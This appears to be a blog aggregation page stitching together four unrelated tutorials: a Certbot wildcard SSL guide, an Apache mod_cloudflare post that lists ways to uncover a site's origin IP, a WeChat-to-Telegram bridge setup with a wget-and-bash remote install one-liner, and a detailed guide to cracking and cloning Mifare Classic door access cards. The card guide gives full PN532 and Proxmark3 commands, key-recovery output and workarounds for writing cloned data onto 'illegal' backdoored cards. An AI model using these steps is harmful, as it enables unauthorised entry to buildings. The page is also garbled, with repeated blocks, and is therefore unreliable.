curtis 发布的文章

https://medium.com/@saurabh6790/generate-wildcard-ssl-certificate-using-lets-encrypt-certbot-273e432794d7

In this blog will cover, how to generate a wildcard SSL certificate for your domain using Certbot. I am generating a certificate for the domain erpnext.xyz

Step 1: Setup Pre-requisites

If you already have a droplet or a system then make sure your system has Python 2.7 or 3 and git installed on it. As I am starting on fresh Ubuntu droplet, we have to set up the above pre-requisites.

apt-get update
apt-get install python-minimal
python --version
apt-get install git-core
git --version

Step 2: Setup Certbot

After setting up the pre-requisites, now will setup the Certbot via Github.

cd /opt
git clone https://github.com/certbot/certbot.git
cd certbot && ./certbot-auto

While installing the Certbot, I came across the error

Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/virtualenv.py", line 2363, in <module>
    main()
  File "/usr/lib/python3/dist-packages/virtualenv.py", line 719, in main
    symlink=options.symlink)
  File "/usr/lib/python3/dist-packages/virtualenv.py", line 988, in create_environment
    download=download,
  File "/usr/lib/python3/dist-packages/virtualenv.py", line 918, in install_wheel
    call_subprocess(cmd, show_stdout=False, extra_env=env, stdin=SCRIPT)
  File "/usr/lib/python3/dist-packages/virtualenv.py", line 812, in call_subprocess
    % (cmd_desc, proc.returncode))
OSError: Command /opt/eff.org/certbot/venv/bin/python2.7 - setuptools pkg_resources pip wheel failed with error code

After googling, I came to know, the error triggered due to improper locale variables. Set the locale variables and re-run.

export LC_ALL="en_US.UTF-8"
export LC_CTYPE="en_US.UTF-8"

You can also install the Certbot via the apt installer.

apt-get install letsencrypt

Step 3: Generate The Wildcard SSL Certificate

Now with the help of Certbot will generate wildcard certificate for our test domain erpnext.xyz

./certbot-auto certonly — manual — preferred-challenges=dns — email saurabh@erpnext.com — server https://acme-v02.api.letsencrypt.org/directory — agree-tos -d *.erpnext.xyz

Note: As we are generating wildcard ssl certificate, mention domain with * i.e. *.erpnext.xyz

Step 4: Authenticate The Domain’s Ownership

For wildcard certificates, the only challenge method Let’s Encrypt accepts is the DNS challenge, which we can invoke via the preferred-challenges=dns flag.

After executing the above command, the Certbot will share a text record to add to your DNS.

Please deploy a DNS TXT record under the name
_acme-challenge.erpnext.xyz with the following value:J50GNXkhGmKCfn-0LQJcknVGtPEAQ_U_WajcLXgqWqo

Record Name: \_acme-challenge
Record Value: J50GNXkhGmKCfn-0LQJcknVGtPEAQ\_U\_WajcLXgqWqo

Create TXT record via DNS console and setup key and value

Step 5: Get The Certificate

Once you authenticate the domain ownership; by cleaning up dns challenges, Certbot generates the ssl certificate and required keys.

Congratulations!!! You have wildcard SSL certificate

Congratulations!!! You have successfully generated wildcard SSL certificate for your domain.

Step 6: Cross Verify The Certificate

To cross verify certificate’s validity via command line run

./certbot-auto certificates

https://www.senra.me/enhance-website-security-via-apache-module-mod-cloudflare/

一.介绍

一般情况下,如果要给没有备案的网站上CDN我们基本上都会选择Cloudflare,免费好用,虽然国内速度可能不够理想,但是也算够用吧。
那么问题来了,我们使用Cloudflare的目的是啥呢

1. 加快访问速度
2. 隐藏网站IP
3. 过滤部分恶意请求
4. 方便HTTPS

二.分析

总结一下,快+安全,然而,其实绝大部分的人都没有考虑完全,其实是可以有办法抓出源站的,而且可以说很容易,特别是没有故意做防范的。
介绍下我常用的方法

1. 如果是有用户系统的网站,直接测试注册,然后抓发件IP
2. 根据开放80和443端口的IP列表扫Host和证书
3. 批量扫子域名
4. 抓可能的框架报错页面看是否有debug输出环境参数

具体怎么搞就不说了,讲下防范

1. 用MailGun或者其他API发件服务(注意sendcloud好像API也会泄露发件IP)或者自建安全的邮件服务器
2. 对IP访问单独绑定vhost
3. 自己在意下就行
4. 用框架开发的程序部署的时候把Debug关掉

三.安装

好了好了,扯远了,这次我主要介绍下mod\_cloudflare这个apache模块

安装的话请参考Cloudflare官方介绍 https://www.cloudflare.com/technical-resources/#mod\_cloudflare

如果你使用的apache是包管理器安装的,那么可以直接使用Cloudflare提供的各平台的软件包来直接安装

但是,如果你用了Oneinstack等脚本编译安装了Apache,那么你可能需要编译一下了
官方教程里也介绍了编译安装的方法,但是,请注意

yum install libtool httpd-devel

yum install libtool httpd-devel

yum install libtool httpd-devel

这儿你可能不需要后面的httpd-devel,因为编译安装自带devel环境,你装这玩意会依赖着装上httpd本体,然后会覆盖掉你编译安装带的启动脚本啥的,很蛋疼

这儿列一下CentOS的命令,其他的自己去看官方页面吧

wget https://raw.githubusercontent.com/cloudflare/mod\_cloudflare/master/mod\_cloudflare.c

如果不存在apxs的话加上完整的路径试试,比如/usr/local/apache/bin/apxs,如果还不行试试把apxs换成apxs2

apxs -a -i -c mod\_cloudflare.c

yum install libtool wget https://raw.githubusercontent.com/cloudflare/mod\_cloudflare/master/mod\_cloudflare.c #如果不存在apxs的话加上完整的路径试试,比如/usr/local/apache/bin/apxs,如果还不行试试把apxs换成apxs2 apxs -a -i -c mod\_cloudflare.c

yum install libtool
wget https://raw.githubusercontent.com/cloudflare/mod_cloudflare/master/mod_cloudflare.c

#如果不存在apxs的话加上完整的路径试试,比如/usr/local/apache/bin/apxs,如果还不行试试把apxs换成apxs2
apxs -a -i -c mod_cloudflare.c

跑完apxs会自动帮你修改配置文件加载模块,这时候已经是可以用了,但是是运行在默认配置下,由于编译没有给你加上配置文件模板,所以你得自己添加了

我建议在 /usr/local/apache/conf/extra/cloudflare.conf 路径放配置文件,内容参照如下

<IfModule mod\_cloudflare.c\>

CloudFlareRemoteIPHeader CF-Connecting-IP

\# 这儿的IP可以参考https://www.cloudflare.com/ips 来自己更新,如果用了自建的Railgun也记得把IP加进去

CloudFlareRemoteIPTrustedProxy 103.21.244.0/22 103.22.200.0/22 103.31.4.0/22 104.16.0.0/12 108.162.192.0/18 131.0.72.0/22 141.101.64.0/18 162.158.0.0/15 172.64.0.0/13 173.245.48.0/20 188.114.96.0/20 190.93.240.0/20 197.234.240.0/22 198.41.128.0/17 199.27.128.0/21 2400:cb00::/32 2405:8100::/32 2405:b500::/32 2606:4700::/32 2803:f800::/32 2c0f:f248::/32 2a06:98c0::/29

\# Uncomment DenyAllButCloudFlare to return a 403 status to all requests

\# that do not originate from an IP defined in CloudFlareRemoteIPTrustedProxy

\# 取消注释下面这个将会把所有并非来自Cloudflare的请求返回403

CloudFlareRemoteIPHeader CF-Connecting-IP # 这儿的IP可以参考https://www.cloudflare.com/ips 来自己更新,如果用了自建的Railgun也记得把IP加进去 CloudFlareRemoteIPTrustedProxy 103.21.244.0/22 103.22.200.0/22 103.31.4.0/22 104.16.0.0/12 108.162.192.0/18 131.0.72.0/22 141.101.64.0/18 162.158.0.0/15 172.64.0.0/13 173.245.48.0/20 188.114.96.0/20 190.93.240.0/20 197.234.240.0/22 198.41.128.0/17 199.27.128.0/21 2400:cb00::/32 2405:8100::/32 2405:b500::/32 2606:4700::/32 2803:f800::/32 2c0f:f248::/32 2a06:98c0::/29 # Uncomment DenyAllButCloudFlare to return a 403 status to all requests # that do not originate from an IP defined in CloudFlareRemoteIPTrustedProxy # 取消注释下面这个将会把所有并非来自Cloudflare的请求返回403 # DenyAllButCloudFlare

<IfModule mod_cloudflare.c>
 CloudFlareRemoteIPHeader CF-Connecting-IP
 # 这儿的IP可以参考https://www.cloudflare.com/ips 来自己更新,如果用了自建的Railgun也记得把IP加进去
 CloudFlareRemoteIPTrustedProxy 103.21.244.0/22 103.22.200.0/22 103.31.4.0/22 104.16.0.0/12 108.162.192.0/18 131.0.72.0/22 141.101.64.0/18 162.158.0.0/15 172.64.0.0/13 173.245.48.0/20 188.114.96.0/20 190.93.240.0/20 197.234.240.0/22 198.41.128.0/17 199.27.128.0/21 2400:cb00::/32 2405:8100::/32 2405:b500::/32 2606:4700::/32 2803:f800::/32 2c0f:f248::/32 2a06:98c0::/29
 # Uncomment DenyAllButCloudFlare to return a 403 status to all requests
 # that do not originate from an IP defined in CloudFlareRemoteIPTrustedProxy
 # 取消注释下面这个将会把所有并非来自Cloudflare的请求返回403
 # DenyAllButCloudFlare
</IfModule>

然后在你的httpd.conf中添加如下一行

Include conf/extra/cloudflare.conf

Include conf/extra/cloudflare.conf

Include conf/extra/cloudflare.conf

之后重启下Apache就行了

那个 DenyAllButCloudFlare 我强烈建议开启,因为这个就是阻止扫IP最好的方法,但是建议你先把该配的配完,因为开了这个你直接访问IP(默认的default网站)都是403,包括IP下的PhpMyAdmin啥的,除非你把它也丢到绑了域名套了CF的目录下

除了这个以外这个模块的主要功能是把CF的IP换成访客的真实IP,从而方便统计访客和封禁恶意访问的IP

[](#CRYPTO1-门禁卡破解-Proxmark-PN532 "CRYPTO1-门禁卡破解-Proxmark-PN532")CRYPTO1: 门禁卡破解 (Proxmark, PN532)

2015 年 Crypto1 被宣布理论死亡,这篇文章理论应用实践,介绍如何破解门禁卡。

之前一篇文章介绍了 Crypto1 加密算法,是如何被人逆向工程,并公开了算法细节,随后从认证方式 (Authentication) 到 核心算法 (Crypto1) 全部被破解,最终在 2015 年使用 Crypto1 加密算法的 NXP Mifare Classic 卡 (M1 卡) 迎来了理论上的死亡。

img

然而实际上,Crypto1 并没有完结,直到 2023 年,M1 卡还在国内外大量使用。例如从国内硕士宿舍,到英国博士的学生宿舍,都可以轻松地复制门禁卡。

我不禁在想,可能知道 Crypto1 被破解的人,还不够多。

这篇文章就让知道的人,越来越多。

1. NFC 卡选择

首先,我们需要鉴定自己的 NFC 卡是不是可以破解的,毕竟越来越多的学校、公司开始用更安全的卡。

我们先确定门禁卡的频率,如果把卡放在支持 NFC 的手机背后,手机有响应的话,说明这张卡是常见的 13.56MHz,有被破解的可能。

如果没有响应,那么可以关掉浏览器去玩耍了。

除了常见的 13.56MHz 高频,还有一些老旧的学校大楼门禁用的是 125kHz 低频,例如华科曾经的动力楼等,这种低频卡也是可以轻易复制的。

为了进一步确认卡的型号,我们可以在支持 NFC 的手机上安装 NFC Tools,读取要复制的卡片型号。

img

比如,这张卡被识别为脆弱的 NXP - Mifare Classic 1k。

如果不是这个型号,也可以关掉浏览器去玩耍了。

img

另外,需要确认卡的 ID (Serial Number) 是 4 位的,比如有的卡是 7 位的,就在暗示你关掉浏览器去玩耍。

img

如果你手上这张卡不幸是 NXP - Mifare Classic 1k,以及有 4 位的 ID,那么请不要关闭浏览器。

[](#2-硬件购买 "2-硬件购买")2. 硬件购买

接下来我们需要下面的硬件 (一般淘宝 20 包邮):

  • PN532 模块:用来和卡片通信,读取卡片数据;
  • USB-TTL:把 PN532 和 电脑 用串口通信连接起来。
  • 一张空白卡用来复制 (UID,CUID)。

一张门禁卡里面,存储了卡的 ID 和 数据。如果要复制一张卡,就要同时复制 ID 和数据,但是合法的卡片 ID 是不能修改的,所以不合法的中国厂家造出了可以修改 ID 的卡,留了一些通信后门。

  • 第一代不合法的卡片被称为 UID 卡,它们有特殊的后门指令,用来修改卡片的 ID。于是一些门禁系统为了防范不合法的卡,会故意向卡片发送后门指令,只要卡片响应了,说明它不合法,拒绝开门。
  • 第二代的非法卡片,被称为 CUID 卡。它们不通过后门修改 ID,不会响应后门指令,而是通过正常的指令,修改原本不能修改的 ID,所以不容易被门禁系统察觉。
如果你对 NFC 不太熟悉,就只买 UID 卡;如果复制完不能用,再买 CUID 卡。

img

不幸的是,毕竟买的是非法的 NFC 卡,店家也可能会非法随机发货。

比如,我曾经买了 10 张第二代 CUID 卡,结果收到了 4 张 125Khz 的低频卡,4 张 CUID 卡,和 2 张 UID 卡。所以我们在收到卡片后,需要确认一下卡片的型号。

[](#3-PN532-破解 "3-PN532-破解")3. PN532 破解

同样,我们可以先用支持 NFC 的手机,读取卡片型号,没有响应的可能就是 125kHz 低频卡。

在筛选掉低频卡后,我们进一步确认卡片是有后门的一代 UID 卡,还是没有后门的二代 CUID 卡。

[](#31-libnfc-安装 "31-libnfc-安装")3.1 libnfc 安装

我们把 PN532 连接到电脑后,在 Ubuntu 下安装 libnfc:

$ sudo apt install libnfc-dev libnfc-bin libnfc-examples libnfc-pn53x-examples

接下来修改 libnfc 的配置文件 /etc/nfc/libnfc.conf,在最后一行加上 PN532 和电脑通信的串口:

$ sudo vim /etc/nfc/libnfc.conf

    device.name = "pn532"
    device.connstring = "pn532_uart:/dev/ttyUSB0"

我们把卡片放在 PN532 上,就可以 sudo nfc-list读取卡片的信息了:

$ sudo nfc-list 
nfc-list uses libnfc 1.7.1
NFC device: pn532_uart:/dev/ttyUSB0 opened
1 ISO14443A passive target(s) found:
ISO/IEC 14443A (106 kbps) target:
    ATQA (SENS_RES): 00  04  
       UID (NFCID1): 01  02  03  04  
      SAK (SEL_RES): 08  

如果这里没有读取到卡片信息,可以检查下卡片是不是没贴紧模块,再确认 PN532 的拨码开关都是 OFF。

PN532 模块支持 串口 (HSU),I2C,SPI 通信,模块正面有2个拨码开关,默认都是 OFF,代表串口。

img

我们先尝试用后门指令修改卡的 ID 为 01 02 03 04,如果顺利修改,说明是有后门的第一代 UID;如果修改失败,就是第二代 CUID。

$ sudo nfc-mfsetuid 01020304
$ sudo nfc-list
nfc-list uses libnfc 1.7.1
NFC device: pn532_uart:/dev/ttyUSB0 opened
1 ISO14443A passive target(s) found:
ISO/IEC 14443A (106 kbps) target:
    ATQA (SENS_RES): 00  04  
       UID (NFCID1): 01  02  03  04  
      SAK (SEL_RES): 08  
当然,也有可能店家合法发货,给了你一张合法的卡片,没有修改 ID 功能。

如果前面顺利修改了空白卡的 ID,我们就可以把门禁卡的 ID 复制到空白卡上了:

# 把门禁卡放到 PN532 上
$ sudo nfc-list
nfc-list uses libnfc 1.7.1
NFC device: pn532_uart:/dev/ttyUSB0 opened
1 ISO14443A passive target(s) found:
ISO/IEC 14443A (106 kbps) target:
    ATQA (SENS_RES): 00  04  
       UID (NFCID1): 11  22  33  44  
      SAK (SEL_RES): 08  

# 把空白卡放到 PN532 上
# 记得把下面的 11223344 替换成上面读出来的4位ID
$ sudo nfc-mfsetuid 11223344

这样,非法空白卡就有了和你门禁卡一样的 ID,接下来就是复制数据了。

[](#32-mfoc-hardnested-破解 "32-mfoc-hardnested-破解")3.2 mfoc-hardnested 破解

到这里,我们确认了非法卡片的型号,接下来就可以破解原始卡片了。

我们先安装 mfoc-hardnested。

$ git clone https://github.com/nfc-tools/mfoc-hardnested
$ cd mfoc-hardnested
$ ./configure
$ make && sudo make install

接下来把要破解的门禁卡,放到 PN532 上破解卡数据:

$ sudo mfoc-hardnested -O mycard.mfd

好,结束了!! 破解出来的卡片数据在 mycard.mfd里面。

[](#33-复制卡片 "33-复制卡片")3.3 复制卡片

最后,我们需要把复制出来的数据,写入到空白的 UID 卡里面。

$ sudo nfc-mfclassic w a mycard.mfd

好,又结束了!!

[](#34-其他问题 "34-其他问题")3.4 其他问题

如果一切顺利,我们就已复制完成了 ID 和 数据。

这里顺便一提,如果下次想要复制一张新的卡,需要告诉软件原来的卡数据。因为向 NFC 卡写数据,需要知道卡的密钥 (KeyA / KeyB),而密钥就包含在数据里。

$ nfc-mfclassic w a new_data.mfd old_data.mfd
有的卡复制完后,控制位可能被改成了只读,从此不能修改数据。 如果对 NFC 控制位不熟,建议就用空白卡复制。

[](#4-Proxmark3-破解 "4-Proxmark3-破解")4. Proxmark3 破解

如果你已经顺利破解了,已经可以关掉浏览器了,接下来介绍的是另一种破解方法。

PN532 是一种低成本的解决办法,而 Proxmark (AVR + FPGA) 则是针对 NFC 开发者的工具,Proxmark 可以读取高频,低频,各种型号卡的数据,甚至它本身就可以模拟 NFC 卡,所以价格比 PN532 高出不少。

img

Proxmark 是针对开发者的工具,所以接下来不会有太多科普的内容。

[](#41-Proxmark-3-安装 "41-Proxmark-3-安装")4.1 Proxmark 3 安装

Proxmark 有很多型号,这里我用的是 Proxmark 3。

$ git clone https://github.com/RfidResearchGroup/proxmark3
$ cd proxmark3
$ cp Makefile.platform.sample Makefile.platform
$ vim Makefile.platform
    PLATFORM=PM3GENERIC
$ make

接下来 Proxmark 连接电脑,就可以看到启动信息:

$ sudo ./pm3
[=] Session log /root/.proxmark3/logs/log_20231105180758.txt
[+] loaded from JSON file `/root/.proxmark3/preferences.json`
[=] Using UART port /dev/ttyACM0
[=] Communicating with PM3 over USB-CDC


  8888888b.  888b     d888  .d8888b.   
  888   Y88b 8888b   d8888 d88P  Y88b  
  888    888 88888b.d88888      .d88P  
  888   d88P 888Y88888P888     8888"  
  8888888P"  888 Y888P 888      "Y8b.  
  888        888  Y8P  888 888    888  
  888        888   "   888 Y88b  d88P 
  888        888       888  "Y8888P"    [ ☕ ]


QStandardPaths: XDG_RUNTIME_DIR not set, defaulting to '/tmp/runtime-root'
  [ Proxmark3 RFID instrument ]

    MCU....... AT91SAM7S512 Rev B
    Memory.... 512 KB ( 61% used )

    Client.... Iceman/master/v4.17140-285-g7026fd69f 2023-11-05 18:06:30
    Bootrom... Iceman/master/5ae919d-dirty-suspect 2023-10-18 21:12:50 
    OS........ Iceman/master/5ae919d-dirty-suspect 2023-10-18 21:13:01 
    Target.... PM3 GENERIC

[usb] pm3 --> 

[](#42-Proxmark3-破解 "42-Proxmark3-破解")4.2 Proxmark3 破解

我们可以先用 hf search 确保卡片可以被识别到。

[usb] pm3 --> hf search
 🕔  Searching for ISO14443-A tag...          
[+]  UID: 01 02 03 04 
[+] ATQA: 00 04
[+]  SAK: 08 [2]
[+] Possible types:
[+]    MIFARE Classic 1K
[=] proprietary non iso14443-4 card found, RATS not supported
[+] Magic capabilities : Gen 1a
[+] Prng detection: weak
[#] Auth error
[?] Hint: try `hf mf` commands

接下来就可以 hf mf autopwn 自动破解了:

[usb] pm3 --> hf mf autopwn                   
[!] ⚠️  no known key was supplied, key recovery might fail
[+] loaded 56 keys from hardcoded default array
[=] running strategy 1
[=] Chunk 0.3s | found 32/32 keys (56)
......
[+] Generating binary key file
[+] Found keys have been dumped to /root/hf-mf-01020304-key.bin
[=] --[ FFFFFFFFFFFF ]-- has been inserted for unknown keys where res is 0
[=] transferring keys to simulator memory ( ok )
[=] dumping card content to emulator memory (Cmd Error: 04 can occur)
[=] downloading card content from emulator memory
[+] saved 1024 bytes to binary file /root/hf-mf-01020304-dump.bin
[+] saved to json file /root/hf-mf-01020304-dump.json
[=] autopwn execution time: 2 seconds

可以看到,破解出来的密钥和数据,分别保存到了 hf-mf-01020304-key.bin 和 hf-mf-01020304-dump.bin。

[](#43-Proxmark3-复制 "43-Proxmark3-复制")4.3 Proxmark3 复制

我们可以复制破解出来的数据到空白的卡片。

$ hf mf cload -f hf-mf-01020304-dump.eml

[](#44-常见问题 "44-常见问题")4.4 常见问题

然而实际操作可能不会那么顺利,下面是常见问题的解决办法。

[1] wupC1 error Can’t set magic card block: 0

这说明这张卡不是有后门的一代卡,不能通过后门指令写入数据,我们需要用 hexedit 查看 hf-mf-01020304-dump.bin 里 block0 的数据,手动写入。

$ hf mf wrbl --force --blk 0 -k FFFFFFFFFFFF -d 010203040408040000004A495256494E

[2] BCC0 incorrect, got 0x04, expected 0x00

之前我们可能写入了一些错误的数据,破坏了卡的结构,例如 Block0,导致给出了错误的响应。

Proxmark 默认把读取的卡片当作正常卡,所以收到错误响应的时候,就会停止操作。但是,我们也可以选择忽略警告,继续操作来修复卡的数据。

$ hf 14a config --bcc ignore
$ hf mf wrbl --force --blk 0 -k FFFFFFFFFFFF -d 010203040408040000004A495256494E
$ hf 14a config --bcc std

下面都是类似的,忽略不同的警告,来修复卡片的数据。

[3] Card didn’t answer to CL2 select all

$ hf 14a config --cl2 skip
$ hf mf cload -f hf-mf-01020304-dump.eml
$ hf 14a config --cl2 std

[4] Card doesn’t support standard iso14443-3 anticollision

$ hf 14a config --atqa force --bcc ignore --cl2 skip --cl3 skip --rats skip
$ hf mf wrbl --force --blk 0 -k FFFFFFFFFFFF -d 010203040408040000004A495256494E
$ hf 14a config --atqa std --bcc std --cl2 std --cl3 std --rats std

[](#总结 "总结")总结

如果你对 NFC 卡的数据结构 (KeyA/ KeyB / Block) 不太熟悉,用 PN532 + UID (第一代后门) 可以避免很多问题。

当 PN532 + UID 卡无法成功复制的时候,就可以考虑尝试开发者工具 Proxmark + CUID (第二代) 卡。

https://blog.shzxm.com/2020/12/31/efb/

ehForwarderBot 遇到的那些坑

2020-12-31- 2022-06-25

3.7k- 14m

[](#EH-Forwarder-Bot-介绍 "EH Forwarder Bot 介绍")EH Forwarder Bot 介绍

efb

代号 EH Forwarder Bot(EFB) 是一个可扩展的消息隧道聊天机器人框架,可在多个平台之间传递消息,并远程控制您的帐户。

官方文档 官方 wiki

说白了就是 利用 这个项目 把所有微信的信息 转发到 telegram

[](#故事背景 "故事背景")故事背景

起源是因为 telegram 成为了生活中主要的 摸鱼 阵地

但是 微信 又有着很多的联系人 不管是工作 还是日常生活

在两个社交软件之间来回切换 不光麻烦 有时候甚至想彻底抛弃 微信 (张小龙是垃圾

最终找到了 efb 这个项目 从此 远离 离不开 但是 垃圾的要死 的 微信

我已经用了 3 年了 但是因为小鸡频繁迁移 导致我频繁部署

网上的关于 efb 的教程没少看 结果都是缺衣少食的感觉

今天就来详细的写一篇 关于 efb 的相关问题 和 部署的内容吧

[](#官方文档-官方-wiki "官方文档 官方 wiki")官方文档 官方 wiki

[](#第一要点 "第一要点")第一要点

如果你 不能登录 微信网页版 那也貌似没必要看下去了

或者你可以去查看相关 issue 来达到解封 微信网页版 的使用权限

[](#部署教程 "部署教程")部署教程

既然 centos 已经被 Red Hat 抛弃了

那我就以 ubuntu/debian 的部署教程为主 最后附上一点 centos 的教程 (毕竟我还爱着 centos

然后插一嘴 为什么没有 docker 的部署教程

附上 官方文档收集库 里边肯定有 docker 教程

[](#Telegram-bot-申请 "Telegram bot 申请")Telegram bot 申请

作为一款 telegram 的项目 肯定是通过 bot 来实现控制和使用的(大误

  • 获取 个人 telegram 账号 id 在 telegram 中搜索 @WooMaiBot 点我直达 发送 /id

    其中的 chat 下方的第一个 id 内的数字为 个人 id

  • 在 telegram 搜索 Botfather ([或者点我直达](https://t.me/BotFather)) 和他对话 发送一下内容 一行一次对话

    /start
    /newbot
  • 这时候给你的 bot 起个名字吧 比如说 squirrelWeChat
  • 接着他会让你给 bot 起一个id (第一个只是显示名称 可以修改 id 不可修改 唯一) 必须以 bot 作为结尾比如说squirrelWeChat_bot
  • 这个时候会就出现 api 把那一串 数字:英文 123123123:asdfasdf 的保存下来或者不保存继续
  • 因为更好的使用群组聊天功能,所以需要开启允许将 Bot 添加进群组,给机器人发送指令/setjoingroups选择enable

    设置 Bot 隐私权限,默认 Bot 可能无法接收非/开头的消息,所以需要设置隐私权限。向该机器人发送指令/setprivacy 选择刚刚创建的机器人 选Disable

  • 最后你的 bot 怎么能没有命令呢。发送 /setcommand 然后在发送以下内容:

    help - 显示命令列表.
    link - 将远程会话绑定到 Telegram 群组
    chat - 生成会话头
    recog - 回复语音消息以进行识别
    info - 显示当前 Telegram 聊天的信息.
    unlink_all - 将所有远程会话从 Telegram 群组解绑.
    update_info - 更新群组名称和头像
    extra - 获取更多功能

到这一步 telegram bot 的设置就完成了

当然 你也可以给 bot 设置个好看的头像 比如说….

wechat 张小龙是垃圾

[](#一键脚本 "一键脚本")一键脚本

咕了一天一夜 终于 咕出来了

太难了

需要 root 权限运行

wget https://raw.githubusercontent.com/shzxm/efb-install/main/install.sh -O install.sh && chmod +x install.sh && bash install.sh

[](#ubuntu-debian-部署教程 "ubuntu/debian 部署教程")ubuntu/debian 部署教程

[](#依赖安装 "依赖安装")依赖安装

首先 你得有一台装有 ubuntu/debian 的小鸡 (其实 openwrt 都能跑貌似 但是我不会…

然后安装依赖 (我这个教程依赖装的有点多.为了确保不报错?

  • 请确保你有 root 权限 并执行一下代码来安装依赖

    sudo su
    apt full-upgrade -y
    apt install python3 python3-pip python3-setuptools python3-yaml ffmpeg  libcairo2-dev libcairo2 nano -y
    python3 -m pip install --upgrade pip
    python3 -m pip install --upgrade Pillow
  • 现在安装主体

    pip3 install ehforwarderbot
    pip3 install efb-telegram-master 
    pip3 install efb-wechat-slave
    pip3 install --upgrade Pillow
  • 这里提一嘴 有一个插件是 选装

    这个插件的作用是 你可以把 tg 的贴纸发送到微信 然后你得确保你安装成功 libcairo2 之后执行一下代码

    pip3 install "efb-telegram-master[tgs]"
  • 再多一嘴 如果你爱折腾 喜欢最新版(功能多bug可能也多修复可能也快~

    可以用一下代码安装 开发版

    apt install git -y
    pip3 install git+https://github.com/blueset/ehforwarderbot.git
    pip3 install git+https://github.com/ehForwarderBot/efb-telegram-master
    pip3 install git+https://github.com/ehForwarderBot/efb-wechat-slave

到这一步 相关依赖就安装完成了

[](#配置文件 "配置文件")配置文件

接着是配置文件 需要新建两个文件夹 用来存放配置文件

  • 执行以下代码

    mkdir -p /root/.ehforwarderbot/profiles/default/
    mkdir -p /root/.ehforwarderbot/profiles/default/blueset.telegram

[](#default-config-yaml-配置文件 "default/config.yaml 配置文件")default/config.yaml 配置文件

修改第一个 配置文件 直接粘贴 进入编辑模式

nano /root/.ehforwarderbot/profiles/default/config.yaml

个人 配置文件中需要注意的地方只有一个 flags 中的内容 我觉得只需要开启这一个就可以很舒服的使用了 直接粘贴进去修改 crtl+x 退出并保存

更加详细的功能介绍 实验性功能

master_channel: blueset.telegram
slave_channels:
- blueset.wechat
#这一部分为插件,更多功能请查看文档
flags: 
  delete_on_edit: true
  #以撤回并重新发送的方式代替编辑消息

更多插件请查看官方模块库

因为 web 微信 的 api 是不支持修改的 所以添加最后一个功能 来变相的实现修改

[](#default-blueset-telegram-config-yaml-配置文件 "default/blueset.telegram/config.yaml 配置文件")default/blueset.telegram/config.yaml 配置文件

修改第二个 配置文件 直接粘贴 进入编辑模式

nano /root/.ehforwarderbot/profiles/default/blueset.telegram/config.yaml

最主要的分为三个部分

  • token:上边的api
  • admins:上边的个人id
  • flags:实验性功能

个人认为只需要开启如下功能便可以很好的使用了 直接粘贴进去修改 crtl+x 退出并保存

更加详细的功能介绍 实验性功能

token: "" #在""中间 填入你之前找botfather申请的api
admins:
- 1234 #把数字修改为你的个人 telegram id 在上方获取过
#- 1279136259 #如果,想要多个账号使用同一个微信,可在这里加入第二个id或者多个id,去掉开头的#
flags:
  send_image_as_file: true
  #将所有图像消息作为文件发送,以防止主动报文的图像压缩.需要更多的流量,可以关闭,改为false
  animated_stickers: true
  #启用对动画贴纸的实验性支持启用对动画贴纸的实验性支持,该依赖已包含在教程依赖
  default_media_prompt: text
  #图片/视频/文件消息没有标题时的占位符文本.

因为 telegram 对于中文的搜索支持 简直相当于没有 所以我开启了最后那个功能

这样 在检索 某人发送的同一类型的内容时 会变得十分方便 之所以不使用图像模式 是因为 telegram 的搜索对 emoji 的支持也不是很友好

到此 配置文件全部修改完毕

[](#centos-部署教程-不完全版本 "centos 部署教程 (不完全版本)")centos 部署教程 (不完全版本)

其实没什么太大的区别 主要是在与 依赖文件的名称不同

附上依赖安装代码 配置请照抄 配置文件 部分

yum update
yum install python3 python3-pip python3-pil python3-setuptools python3-yaml python3-requests ffmpeg git cairo cairo-devel nano -y

[](#使用介绍 "使用介绍")使用介绍

  • 在终端中 输入 ehforwarderbot 会出现二维码 扫描登录
  • 接着和你 之前申请的bot 对话 发送 /start
  • /chat 为 和谁对话 具体使用为 /chat 松小鼠/chat 松小 此命令会搜索最近联系人中带有相关字符的联系人 因为加载的问题 长时间不联系的人可能不太好找
  • /link 为 绑定对话到某个群组 你可以新建群组来绑定 群聊/私聊 到特定群组 具有搜索功能同上条 具体使用为 /link 松小 之后选择绑定或者静音 记着要给 bot 管理员权限
  • /rm 为 撤回某条消息 和微信的规则是一样的 2 分钟内 具体使用为回复要撤回的内容 发送/rm
  • /extra 主要为掉线重新登录 或者 强制刷新对话列表使用
  • /update_info 为当前的群组更新 微信信息 在群组中使用 可以更新群聊头像为群组成员 群组名称为微信群聊名称

以上为主要功能 其他更多功能可以安装 官方模块库 来实现

到此就可以退出运行的 efb ctrl+c 然后输入 回车 退出 实在不行多按几次

为什么???你总不能一直开着终端吧?要是网络不稳定 efb 就关闭了 这个时候 往下看吧

[](#进程守护-后台运行 "进程守护 后台运行")进程守护 后台运行

进程守护 可以确保 efb 在后台运行

  • 直接上代码

    cd /etc/systemd/system/
    nano efb.service
  • 进入编辑界面后 复制粘贴下列代码 ctrl+x 保存退出

    [Unit]
    Description=ehforwarderbot
    After=network.target
    
    [Install]
    WantedBy=multi-user.target
    
    [Service]
    Type=simple
    WorkingDirectory=/root
    ExecStart=/usr/local/bin/ehforwarderbot
    Restart=always

    此处需要注意 如果想要运行多个 efb 查看 文档 并修改守护文件

  • 接着 输入一下代码启动 efb 开机自启 efb

    #重新加载进程守护
    systemctl daemon-reload
    #进程守护 启动efb
    systemctl start efb.service
    #进程守护 开机自启efb
    systemctl enable efb.service
  • 想要关闭 或者 查看当前状态 可以使用一下代码

    #进程守护 停止efb
    systemctl stop efb.service
    #进程守护 关闭开机自启efb
    systemctl disable efb.service
    #查看当前 efb 状态
    systemctl status efb.service
    #实时查看 efb 守护日志
    journalctl -f -u efb.service

[](#半个重点-启动选项 "半个重点 启动选项")半个重点 启动选项

  • -h / --help :显示帮助信息
  • -p PROFILE / --profile PROFILE :切换配置文件

    默认的配置档案名称为 default 。

  • -V/ --version : 打印版本信息

    显示您的 Python、EFB 框架、以及所有已启用的信道和中间件的版本号。

  • -v / --verbose : 打印详细日志

    开启该选项会记录 EFB 及所有已启用的模块的详细日志。该选项和 –version 一同,对于调试及问题反馈有着极大帮助。

  • --trace-threads :跟踪阻塞线程

    当您遇到必须强制退出 EFB 的情况时,此选项可用于确定问题的来源。启用此选项后,在发送第一个停止信号(SIGINT 或 SIGTERM)之后,将会每 10 秒识别一次休眠中的线程,直到收到下一个停止信号。

    要使用此选项,您需要使用以下命令来安装额外的 Python 依赖关系

    pip3 install 'ehforwarderbot[trace]'

